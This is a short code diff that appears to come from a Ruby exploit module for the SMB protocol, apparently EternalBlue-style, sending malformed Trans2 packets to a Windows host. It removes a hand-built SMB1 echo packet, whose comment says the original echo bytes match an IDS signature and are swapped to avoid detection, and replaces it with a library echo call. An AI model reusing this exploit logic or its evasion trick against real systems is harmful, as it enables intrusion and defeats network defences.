@@ -334,12 +334,12 @@ def smb1_large_buffer(client, tree, sock)
334
334
trans2_pkt_nulled << make_smb1_trans2_exploit_packet ( tree . id , client . user_id , :eb_trans2_buffer , i )
335
335
end
336
336
337
- trans2_pkt_nulled << make_smb1_echo_packet ( tree . id , client . user_id )
338
-
339
337
vprint_status ( "Sending malformed Trans2 packets" )
340
338
sock . put ( trans2_pkt_nulled )
341
339
342
340
sock . get_once
341
+
342
+ client . echo ( count :1 , data : "\x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x00 " )
343
343
end
344
344
345
345
def smb1_free_hole ( start )
@@ -434,36 +434,6 @@ def make_smb2_payload_body_packet(kernel_user_payload)
434
434
pkt
435
435
end
436
436
437
- def make_smb1_echo_packet ( tree_id , user_id )
438
- pkt = ""
439
- pkt << "\x00 " # type
440
- pkt << "\x00 \x00 \x31 " # len = 49
441
- pkt << "\xff SMB" # SMB1
442
- pkt << "\x2b " # Echo
443
- pkt << "\x00 \x00 \x00 \x00 " # Success
444
- pkt << "\x18 " # flags
445
- pkt << "\x07 \xc0 " # flags2
446
- pkt << "\x00 \x00 " # PID High
447
- pkt << "\x00 \x00 \x00 \x00 " # Signature1
448
- pkt << "\x00 \x00 \x00 \x00 " # Signature2
449
- pkt << "\x00 \x00 " # Reserved
450
- pkt << [ tree_id ] . pack ( "S>" ) # Tree ID
451
- pkt << "\xff \xfe " # PID
452
- pkt << [ user_id ] . pack ( "S>" ) # UserID
453
- pkt << "\x40 \x00 " # MultiplexIDs
454
-
455
- pkt << "\x01 " # Word count
456
- pkt << "\x01 \x00 " # Echo count
457
- pkt << "\x0c \x00 " # Byte count
458
-
459
- # echo data
460
- # this is an existing IDS signature, and can be nulled out
461
- #pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"
462
- pkt << "\x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x00 "
463
-
464
- pkt
465
- end
466
-
467
437
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
468
438
def make_smb1_trans2_exploit_packet ( tree_id , user_id , type , timeout )
469
439
timeout = ( timeout * 0x10 ) + 3
0 commit comments